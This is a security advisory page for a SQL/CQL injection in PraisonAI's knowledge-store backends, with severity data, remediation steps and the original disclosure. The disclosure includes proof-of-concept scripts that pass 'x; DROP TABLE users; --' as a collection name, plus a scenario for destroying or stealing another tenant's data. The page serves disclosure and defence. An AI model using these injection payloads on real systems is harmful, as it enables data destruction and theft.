CVE-2026-44337: PraisonAI: SQL/CQL injection in knowledge-store backends
GHSA-3643-7v76-5cj2 MEDIUM CISA: TRACK*PraisonAI's optional persistence backends (pgvector, Cassandra, SingleStore) build SQL and CQL identifiers by interpolating unvalidated, user-controlled collection names directly into query text, enabling classic injection attacks. Any application that passes untrusted input — such as user-defined workspace names or API-supplied collection identifiers — into PraisonAI's KnowledgeStore interface is exposed to unauthorized data access, data destruction, or schema manipulation across all eight knowledge-store methods. Despite a low raw EPSS score of 0.00065, the CVE sits in the top 80th percentile for exploitation likelihood, and a working proof-of-concept demonstrating a DROP TABLE gadget is already included in the public advisory. A fix landed in 4.6.34; patch immediately, and as an interim control restrict collection names to alphanumeric characters and underscores — the same guard already present in PraisonAI's own conversation persistence layer.
What is the risk?
Medium risk overall (CVSS 6.3), but with elevated real-world exposure for multi-tenant AI agent platforms. Exploitability is trivial — the injection pattern is well-understood and a PoC is public — making the primary constraint the degree to which downstream applications surface collection naming to untrusted callers. PraisonAI has no confirmed built-in HTTP endpoint that natively forwards external input into these persistence methods, limiting out-of-box remote exploitation. However, AI agent platforms commonly expose dynamic workspace or collection naming to end users, and the vulnerability spans over two years of releases (2.4.1 through 4.6.33). No active exploitation or KEV listing, but the trivial difficulty and long exposure window raise the operational risk above what the CVSS score alone suggests.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| PraisonAI | pip | >= 2.4.1, <= 4.6.33 | 4.6.34 |
Do you use PraisonAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
4 steps-
Patch: Upgrade praisonai to 4.6.34 or later immediately.
-
Workaround: If patching is not immediately possible, validate all collection names before passing them to any KnowledgeStore method — enforce the alphanumeric-plus-underscore pattern already used by validate_identifier() in persistence/conversation/base.py.
-
Detection: Audit application code for any code path where external or user-supplied input reaches KnowledgeStore.create_collection(), delete_collection(), search(), insert(), upsert(), get(), delete(), or count(). Review database query logs for anomalous DDL statements (DROP TABLE, CREATE TABLE, DROP INDEX) appearing within knowledge-store query patterns.
-
Least privilege: Ensure database credentials used by PraisonAI are scoped to DML on application tables only — no DDL, no TRUNCATE, no cross-schema access — to limit blast radius if injection is triggered.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44337?
PraisonAI's optional persistence backends (pgvector, Cassandra, SingleStore) build SQL and CQL identifiers by interpolating unvalidated, user-controlled collection names directly into query text, enabling classic injection attacks. Any application that passes untrusted input — such as user-defined workspace names or API-supplied collection identifiers — into PraisonAI's KnowledgeStore interface is exposed to unauthorized data access, data destruction, or schema manipulation across all eight knowledge-store methods. Despite a low raw EPSS score of 0.00065, the CVE sits in the top 80th percentile for exploitation likelihood, and a working proof-of-concept demonstrating a DROP TABLE gadget is already included in the public advisory. A fix landed in 4.6.34; patch immediately, and as an interim control restrict collection names to alphanumeric characters and underscores — the same guard already present in PraisonAI's own conversation persistence layer.
Is CVE-2026-44337 actively exploited?
No confirmed active exploitation of CVE-2026-44337 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44337?
1. Patch: Upgrade praisonai to 4.6.34 or later immediately. 2. Workaround: If patching is not immediately possible, validate all collection names before passing them to any KnowledgeStore method — enforce the alphanumeric-plus-underscore pattern already used by validate_identifier() in persistence/conversation/base.py. 3. Detection: Audit application code for any code path where external or user-supplied input reaches KnowledgeStore.create_collection(), delete_collection(), search(), insert(), upsert(), get(), delete(), or count(). Review database query logs for anomalous DDL statements (DROP TABLE, CREATE TABLE, DROP INDEX) appearing within knowledge-store query patterns. 4. Least privilege: Ensure database credentials used by PraisonAI are scoped to DML on application tables only — no DDL, no TRUNCATE, no cross-schema access — to limit blast radius if injection is triggered.
What systems are affected by CVE-2026-44337?
This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, agent frameworks, vector databases, knowledge bases.
What is the CVSS score for CVE-2026-44337?
CVE-2026-44337 has a CVSS v3.1 base score of 6.3 (MEDIUM). The EPSS exploitation probability is 0.22%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0037 Data from Local System AML.T0049 Exploit Public-Facing Application AML.T0053 AI Agent Tool Invocation AML.T0085.000 RAG Databases AML.T0101 Data Destruction via AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated `name` and `collection` arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection. ### Details This issue affects the public persistence layer exported by [persistence/__init__.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/__init__.py:1), which exposes `KnowledgeStore` and `create_knowledge_store()`. The factory wires the affected backends as supported knowledge-store providers in [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162):112): - `pgvector` at [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186):162) - `cassandra` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170) - `singlestore_vector` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186) The common root cause is that the `KnowledgeStore` interface accepts free-form collection names in `create_collection()`, `delete_collection()`, `insert()`, `upsert()`, `search()`, `get()`, `delete()`, and `count()` at [[persistence/knowledge/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them. Representative sinks: - `SingleStoreVectorKnowledgeStore` builds `table_name = f"{self.table_prefix}{name}"` and executes raw DDL in [[persistence/knowledge/singlestore_vector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for `delete_collection`, `insert`, `upsert`, `search`, `get`, `delete`, and `count`. - `PGVectorKnowledgeStore` builds `public.praison_vec_{collection}` and `idx_{name}_embedding` directly into SQL in [[persistence/knowledge/pgvector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82). - `CassandraKnowledgeStore` interpolates `name` and `collection` directly into `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, `DELETE`, and `COUNT` statements in [[persistence/knowledge/cassandra.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73). There is already an internal identifier validator in the conversation persistence layer: - `validate_identifier()` only allows alphanumeric characters and underscores in [[persistence/conversation/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18) That validator is used for SQL identifiers such as `table_prefix` and `schema` in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends. Version scope: - `pgvector.py` and `cassandra.py` were already present by `v2.4.1` - `singlestore_vector.py` was present by `v2.4.3` - the current PyPI release on May 1, 2026 is `4.6.33`, and the same interpolation patterns are still present Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends. ### PoC The following local reproductions show that attacker-controlled collection names become part of the executed SQL text. 1. Reproduce the `SingleStoreVectorKnowledgeStore.delete_collection()` query construction: ```bash python3 - <<'PY' import importlib.util import pathlib import sys import types base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence") mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.__path__ = [] sys.modules[k] = v def load(name, path): spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) sys.modules[name] = mod spec.loader.exec_module(mod) return mod load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py") class FakeCursor: def __init__(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def __enter__(self): return self def __exit__(self, *args): return False class FakeConn: def __init__(self): self.calls = [] def cursor(self): return FakeCursor(self) store = ss.SingleStoreVectorKnowledgeStore() store._initialized = True store._conn = FakeConn() store.delete_collection("x; DROP TABLE users; --") print(store._conn.calls[-1][0].strip()) PY ``` Observed result: ```text DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; -- ``` 2. Reproduce the `PGVectorKnowledgeStore.create_collection()` query construction: ```bash python3 - <<'PY' import importlib.util import pathlib import sys import types base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence") mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.__path__ = [] sys.modules[k] = v def load(name, path): spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) sys.modules[name] = mod spec.loader.exec_module(mod) return mod load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") psycopg2 = types.ModuleType("psycopg2") extras = types.ModuleType("psycopg2.extras") pool = types.ModuleType("psycopg2.pool") class DummyPool: def __init__(self, *a, **k): pass def getconn(self): return None def putconn(self, c): pass pool.ThreadedConnectionPool = DummyPool extras.RealDictCursor = object psycopg2.pool = pool sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py") class FakeCursor: def __init__(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def __enter__(self): return self def __exit__(self, *args): return False class FakeConn: def __init__(self): self.calls = [] def cursor(self): return FakeCursor(self) def commit(self): pass store = pg.PGVectorKnowledgeStore(auto_create_extension=False) conn = FakeConn() store._get_conn = lambda: conn store._put_conn = lambda c: None store.create_collection("x; DROP TABLE users; --", 3) for query, _ in conn.calls: print(query.strip()) PY ``` Observed result includes: ```text CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- ( CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding ``` The Cassandra backend follows the same pattern in its `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, and `DELETE` statements. ### Impact This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them. Potential impact depends on backend and driver behavior, but includes: - malformed queries and backend errors - access to unintended tables or indexes - execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.
Exploitation Scenario
An adversary targeting a multi-tenant AI agent platform built on PraisonAI registers a workspace or collection named 'legitimate_name; DROP TABLE praison_vec_tenant_b; --'. When the application calls delete_collection() or any other KnowledgeStore method with this name, the resulting SQL executes the DROP TABLE command against the backend database, destroying another tenant's knowledge collection. In a data-theft variant, the attacker uses a SELECT-based UNION payload in the collection name to exfiltrate embeddings and associated document text from another tenant's corpus, bypassing application-layer access controls that rely on collection naming for tenant isolation. Against the Cassandra backend, equivalent CQL injection enables the same attacks at keyspace scope.
Weaknesses (CWE)
CWE-20 Improper Input Validation
Primary
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Primary
CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
- [Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- [Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L References
Timeline
Related Vulnerabilities
GHSA-vmmj-pfw7-fjwp 9.9 praisonai: sandbox escape gives RCE via codeMode tool
Same package: praisonai CVE-2026-47392 9.9 praisonaiagents: RCE via Python sandbox bypass
Same package: praisonai GHSA-vc46-vw85-3wvm 9.8 PraisonAI: RCE via malicious workflow YAML execution
Same package: praisonai GHSA-9qhq-v63v-fv3j 9.8 PraisonAI: RCE via MCP command injection
Same package: praisonai CVE-2026-39890 9.8 PraisonAI: YAML deserialization enables unauthenticated RCE
Same package: praisonai